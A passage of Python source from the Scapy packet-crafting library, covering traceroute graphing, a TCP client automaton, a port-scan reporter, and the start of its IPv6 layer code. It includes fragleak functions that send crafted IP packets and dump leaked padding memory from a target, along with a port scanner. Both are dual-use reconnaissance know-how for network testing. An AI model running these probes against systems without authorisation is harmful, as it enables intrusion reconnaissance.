None: continue iplist = ASNs.get(asn,[]) if ip in bhip: if ip in ports: iplist.append(ip) iplist.append(bhip[ip]) else: iplist.append(ip) ASNs[asn] = iplist ASDs[asn] = desc backcolorlist=colgen("60","86","ba","ff") forecolorlist=colgen("a0","70","40","20") s = "digraph trace {\n" s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" s += "\n#ASN clustering\n" for asn in ASNs: s += '\tsubgraph cluster_%s {\n' % asn col = backcolorlist.next() s += '\t\tcolor="#%s%s%s";' % col s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col s += '\t\tfontsize = 10;' s += '\t\tlabel = "%s\\n[%s]"\n' % (asn,ASDs[asn]) for ip in ASNs[asn]: s += '\t\t"%s";\n'%ip s += "\t}\n" s += "#endpoints\n" for p in ports: s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p,p,"|".join(ports[p])) s += "\n#Blackholes\n" for bh in blackholes: s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh if padding: s += "\n#Padding\n" pad={} for snd,rcv in self.res: if rcv.src not in ports and rcv.haslayer(conf.padding_layer): p = rcv.getlayer(conf.padding_layer).load if p != "\x00"*len(p): pad[rcv.src]=None for rcv in pad: s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" for rtk in rt: s += "#---[%s\n" % `rtk` s += '\t\tedge [color="#%s%s%s"];\n' % forecolorlist.next() trace = rt[rtk] maxtrace = max(trace) for n in xrange(min(trace), maxtrace): s += '\t%s ->\n' % trace[n] s += '\t%s;\n' % trace[maxtrace] s += "}\n"; self.graphdef = s def graph(self, ASres=None, padding=0, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres=None : no AS resolver => no clustering ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres=AS_resolver_cymru(): use whois.cymru.com whois database ASres=AS_resolver(server="whois.ra.net") type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use""" if ASres is None: ASres = conf.AS_resolver if (self.graphdef is None or self.graphASres != ASres or self.graphpadding != padding): self.make_graph(ASres,padding) return do_graph(self.graphdef, **kargs) @conf.commands.register def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, filter=None, timeout=2, verbose=None, **kargs): """Instant TCP traceroute traceroute(target, [maxttl=30,] [dport=80,] [sport=80,] [verbose=conf.verb]) -> None """ if verbose is None: verbose = conf.verb if filter is None: # we only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag # set filter="(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" if l4 is None: a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # this should always work filter="ip" a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) a = TracerouteResult(a.res) if verbose: a.show() return a,b ############################# ## Simple TCP client stack ## ############################# class TCP_client(Automaton): def parse_args(self, ip, port, *args, **kargs): self.dst = iter(Net(ip)).next() self.dport = port self.sport = random.randrange(0,2**16) self.l4 = IP(dst=ip)/TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0,2**32)) self.src = self.l4.src self.swin=self.l4[TCP].window self.dwin=1 self.rcvbuf="" bpf = "host %s and host %s and port %i and port %i" % (self.src, self.dst, self.sport, self.dport) # bpf=None Automaton.parse_args(self, filter=bpf, **kargs) def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.dst and pkt[IP].dst == self.src and TCP in pkt and pkt[TCP].sport == self.dport and pkt[TCP].dport == self.sport and self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up ((self.l4[TCP].ack == 0) or (self.l4[TCP].ack <= pkt[TCP].seq <= self.l4[TCP].ack+self.swin)) ) @ATMT.state(initial=1) def START(self): pass @ATMT.state() def SYN_SENT(self): pass @ATMT.state() def ESTABLISHED(self): pass @ATMT.state() def LAST_ACK(self): pass @ATMT.state(final=1) def CLOSED(self): pass @ATMT.condition(START) def connect(self): raise self.SYN_SENT() @ATMT.action(connect) def send_syn(self): self.l4[TCP].flags = "S" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(SYN_SENT) def synack_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x12: raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(synack_received) def send_ack_of_synack(self, pkt): self.l4[TCP].ack = pkt[TCP].seq+1 self.l4[TCP].flags = "A" self.send(self.l4) @ATMT.receive_condition(ESTABLISHED) def incoming_data_received(self, pkt): if not isinstance(pkt[TCP].payload, NoPayload) and not isinstance(pkt[TCP].payload, conf.padding_layer): raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(incoming_data_received) def receive_data(self,pkt): data = str(pkt[TCP].payload) if data and self.l4[TCP].ack == pkt[TCP].seq: self.l4[TCP].ack += len(data) self.l4[TCP].flags = "A" self.send(self.l4) self.rcvbuf += data if pkt[TCP].flags & 8 != 0: #PUSH self.oi.tcp.send(self.rcvbuf) self.rcvbuf = "" @ATMT.ioevent(ESTABLISHED,name="tcp", as_supersocket="tcplink") def outgoing_data_received(self, fd): raise self.ESTABLISHED().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received) def send_data(self, d): self.l4[TCP].flags = "PA" self.send(self.l4/d) self.l4[TCP].seq += len(d) @ATMT.receive_condition(ESTABLISHED) def reset_received(self, pkt): if pkt[TCP].flags & 4 != 0: raise self.CLOSED() @ATMT.receive_condition(ESTABLISHED) def fin_received(self, pkt): if pkt[TCP].flags & 0x1 == 1: raise self.LAST_ACK().action_parameters(pkt) @ATMT.action(fin_received) def send_finack(self, pkt): self.l4[TCP].flags = "FA" self.l4[TCP].ack = pkt[TCP].seq+1 self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(LAST_ACK) def ack_of_fin_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x10: raise self.CLOSED() ##################### ## Reporting stuff ## ##################### def report_ports(target, ports): """portscan a target and output a LaTeX table report_ports(target, ports) -> string""" ans,unans = sr(IP(dst=target)/TCP(dport=ports),timeout=5) rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" for s,r in ans: if not r.haslayer(ICMP): if r.payload.flags == 0x12: rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") rep += "\\hline\n" for s,r in ans: if r.haslayer(ICMP): rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") elif r.payload.flags != 0x12: rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") rep += "\\hline\n" for i in unans: rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") rep += "\\hline\n\\end{tabular}\n" return rep def IPID_count(lst, funcID=lambda x:x[1].id, funcpres=lambda x:x[1].summary()): idlst = map(funcID, lst) idlst.sort() classes = [idlst[0]]+map(lambda x:x[1],filter(lambda (x,y): abs(x-y)>50, map(lambda x,y: (x,y),idlst[:-1], idlst[1:]))) lst = map(lambda x:(funcID(x), funcpres(x)), lst) lst.sort() print "Probably %i classes:" % len(classes), classes for id,pr in lst: print "%5i" % id, pr def fragleak(target,sport=123, dport=123, timeout=0.2, onlyasc=0): load = "XXXXYYYYYYYYYY" # getmacbyip(target) # pkt = IP(dst=target, id=RandShort(), options="\x22"*40)/UDP()/load pkt = IP(dst=target, id=RandShort(), options="\x00"*40, flags=1)/UDP(sport=sport, dport=sport)/load s=conf.L3socket() intr=0 found={} try: while 1: try: if not intr: s.send(pkt) sin,sout,serr = select([s],[],[],timeout) if not sin: continue ans=s.recv(1600) if not isinstance(ans, IP): #TODO: IPv6 continue if not isinstance(ans.payload, ICMP): continue if not isinstance(ans.payload.payload, IPerror): continue if ans.payload.payload.dst != target: continue if ans.src != target: print "leak from", ans.src, # print repr(ans) if not ans.haslayer(conf.padding_layer): continue # print repr(ans.payload.payload.payload.payload) # if not isinstance(ans.payload.payload.payload.payload, conf.raw_layer): # continue # leak = ans.payload.payload.payload.payload.load[len(load):] leak = ans.getlayer(conf.padding_layer).load if leak not in found: found[leak]=None linehexdump(leak, onlyasc=onlyasc) except KeyboardInterrupt: if intr: raise intr=1 except KeyboardInterrupt: pass def fragleak2(target, timeout=0.4, onlyasc=0): found={} try: while 1: p = sr1(IP(dst=target, options="\x00"*40, proto=200)/"XXXXYYYYYYYYYYYY",timeout=timeout,verbose=0) if not p: continue if conf.padding_layer in p: leak = p[conf.padding_layer].load if leak not in found: found[leak]=None linehexdump(leak,onlyasc=onlyasc) except: pass conf.stats_classic_protocols += [TCP,UDP,ICMP] conf.stats_dot11_protocols += [TCP,UDP,ICMP] if conf.ipv6_enabled: import scapy.layers.inet6 scapy-2.3.3/scapy/layers/inet6.py000066400000000000000000004364331300136037300166640ustar00rootroot00000000000000#! /usr/bin/env python ############################################################################# ## ## ## inet6.py --- IPv6 support for Scapy ## ## see http://natisbad.org/IPv6/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Guillaume Valadon ## ## Arnaud Ebalard ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# """ IPv6 (Internet Protocol v6). """ import random import socket import sys if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 if not hasattr(socket, "IPPROTO_IPIP"): # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 socket.IPPROTO_IPIP = 4 from scapy.config import conf from scapy.base_classes import * from scapy.data import * from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.as_resolvers import AS_resolver_riswhois from scapy.supersocket import SuperSocket,L3RawSocket from scapy.arch import * from scapy.utils6 import * from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.utils import inet_pton, inet_ntop, strxor from scapy.error import warning if conf.route6 is None: # unused import, only to initialize conf.route6 import scapy.route6 ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ########################## ## Neighbor cache stuff ## ########################## conf.netcache.new_cache("in6_neighbor", 120) def neighsol(addr, src, iface, timeout=1, chainCC=0): """ Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, chainCC=chainCC) return res def getmacbyip6(ip6, chainCC=0): """ Returns the mac address to be used for provided 'ip6' peer. neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) """ if in6_ismaddr(ip6): # Multicast mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff,a,nh = conf.route6.route(ip6, dev=conf.iface6) if iff == LOOPBACK_NAME: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: if ICMPv6NDOptDstLLAddr in res: mac = res[ICMPv6NDOptDstLLAddr].lladdr else: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# ### IPv6 addresses manipulation routines ### ############################################################################# ############################################################################# class Net6(Gen): # syntax ex. fec0::/126 """Generate a list of IPv6s from a network address or a name""" name = "ipv6" ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") def __init__(self, net): self.repr = net tmp = net.split('/')+["128"] if not self.ipaddress.match(net): tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] netmask = int(tmp[1]) self.net = inet_pton(socket.AF_INET6, tmp[0]) self.mask = in6_cidr2mask(netmask) self.plen = netmask def __iter__(self): def m8(i): if i % 8 == 0: return i tuple = filter(lambda x: m8(x), xrange(8, 129)) a = in6_and(self.net, self.mask) tmp = map(lambda x: x, struct.unpack('16B', a)) def parse_digit(a, netmask): netmask = min(8,max(netmask,0)) a = (int(a) & (0xffL<>(8-netmask)))+1) return a self.parsed = map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple)) def rec(n, l): if n and n % 2 == 0: sep = ':' else: sep = '' if n == 16: return l else: ll = [] for i in xrange(*self.parsed[n]): for y in l: ll += [y+sep+'%.2x'%i] return rec(n+1, ll) return iter(rec(0, [''])) def __repr__(self): return "Net6(%r)" % self.repr ############################################################################# ############################################################################# ### IPv6 Class ### ############################################################################# ############################################################################# class IP6Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if type(x) is str: try: x = in6_ptop(x) except socket.error: x = Net6(x) elif type(x) is list: x = map(Net6, x) return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, x) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): if x is None: return self.i2h(pkt,x) elif not isinstance(x, Net6) and not type(x) is list: if in6_isaddrTeredo(x): # print Teredo info server, flag, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport) elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) return self.i2h(pkt, x) # No specific information to return def randval(self): return RandIP6() class SourceIP6Field(IP6Field): __slots__ = ["dstname"] def __init__(self, name, dstname): IP6Field.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) iff,x,nh = conf.route6.route(dst) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route6.route, dst) r.sort() if r[0] == r[-1]: x=r[0][1] else: warning("More than one possible route for %s"%repr(dst)) return None else: iff,x,nh = conf.route6.route(dst) return IP6Field.i2h(self, pkt, x) class DestIP6Field(IP6Field, DestField): bindings = {} def __init__(self, name, default): IP6Field.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IP6Field.i2h(self, pkt, x) ipv6nh = { 0:"Hop-by-Hop Option Header", 4:"IP", 6:"TCP", 17:"UDP", 41:"IPv6", 43:"Routing Header", 44:"Fragment Header", 47:"GRE", 50:"ESP Header", 51:"AH Header", 58:"ICMPv6", 59:"No Next Header", 60:"Destination Option Header", 132:"SCTP", 135:"Mobility Header"} ipv6nhcls = { 0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", #50: "IPv6ExtHrESP", #51: "IPv6ExtHdrAH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt" } class IP6ListField(StrField): __slots__ = ["count_from", "length_from"] islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16*len(i) def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = "" remain = s if l is not None: remain,ret = s[:l],s[l:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain+ret,lst def i2m(self, pkt, x): s = '' for y in x: try: y = inet_pton(socket.AF_INET6, y) except: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self,pkt,x): s = [] if x == None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self,p): if self.nh == 58: # ICMPv6 t = ord(p[0]) if len(p) > 2 and t == 139 or t == 140: # Node Info Query return _niquery_guesser(p) if len(p) >= icmp6typesminhdrlen.get(t, sys.maxint): # Other ICMPv6 messages return get_cls(icmp6typescls.get(t,"Raw"), "Raw") return Raw elif self.nh == 135 and len(p) > 3: # Mobile IPv6 return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic) else: return get_cls(ipv6nhcls.get(self.nh,"Raw"), "Raw") class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [ BitField("version" , 6 , 4), BitField("tc", 0, 8), #TODO: IPv6, ByteField ? BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src", "dst"), # dst is for src @ selection DestIP6Field("dst", "::1") ] def route(self): dst = self.dst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route6.route(dst) def mysummary(self): return "%s > %s (%i)" % (self.src,self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: l = len(p) - 40 p = p[:4]+struct.pack("!H", l)+p[6:] return p def extract_padding(self, s): l = self.plen return s[:l], s[l:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133,134,135,136,144,145]): return struct.pack("B", self.nh)+self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: nh = self.payload.nh # XXX what if another extension follows ? ss = foundhao.hoa if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, self.src) return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() else: return struct.pack("B", nh)+self.payload.hashret() def answers(self, other): if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) def inet6_register_l3(l2, l3): return getmacbyip6(l3.dst) conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # <- Basic case (ss == os and request_has_rh)): # <- Request has a RH : # don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) res = s1[:l] == s2[:l] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) return s1[:l] == s2[:l] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# ### Upper Layer Checksum computation ### ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [ IP6Field("src", "::"), IP6Field("dst", "::"), ShortField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0) ] def in6_chksum(nh, u, p): """ Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) - 'p' : the payload of the upper layer provided as a string Functions operate by filling a pseudo header class instance (PseudoIPv6) with - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u != None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return 0 if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = len(p) ph6s = str(ph6) return checksum(ph6s+p) ############################################################################# ############################################################################# ### Extension Headers ### ############################################################################# ############################################################################# # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPV6 Option Header' aliastypes = [IPv6, IPerror6] # TODO ... #################### IPv6 options for Extension Headers ##################### _hbhopts = { 0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option" } class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route" } def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement ususally expressed xn+y, meaning the Option Type must appear at an integer multiple of x octest from the start of the header, plus y octet. That function is provided the current position from the start of the header and returns required padding length. """ return 0 class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ] def alignment_delta(self, curpos): # No alignment requirement return 0 class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, { 0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message", 68: "NSIS NATFW NSLP", 69: "MPLS OAM", 65535: "Reserved" })] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # TODO : Now that we have that option, we should do something in MLD class that need it # TODO : IANA has defined ranges of values which can't be easily represented here. # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 ; y = 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None) ] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 ; y = 2 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::") ] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 ; y = 6 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta _hbhoptcls = { 0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0xC2: Jumbo, 0xC9: HAO } ######################## Hop-by-Hop Extension Header ######################## class _HopByHopOptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def i2len(self, pkt, i): l = len(self.i2m(pkt, i)) return l def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) opt = [] ret = "" x = s if l is not None: x,ret = s[:l],s[l:] while x: if c is not None: if c <= 0: break c -= 1 o = ord(x[0]) # Option type cls = self.cls if _hbhoptcls.has_key(o): cls = _hbhoptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = "" return x+ret,opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if 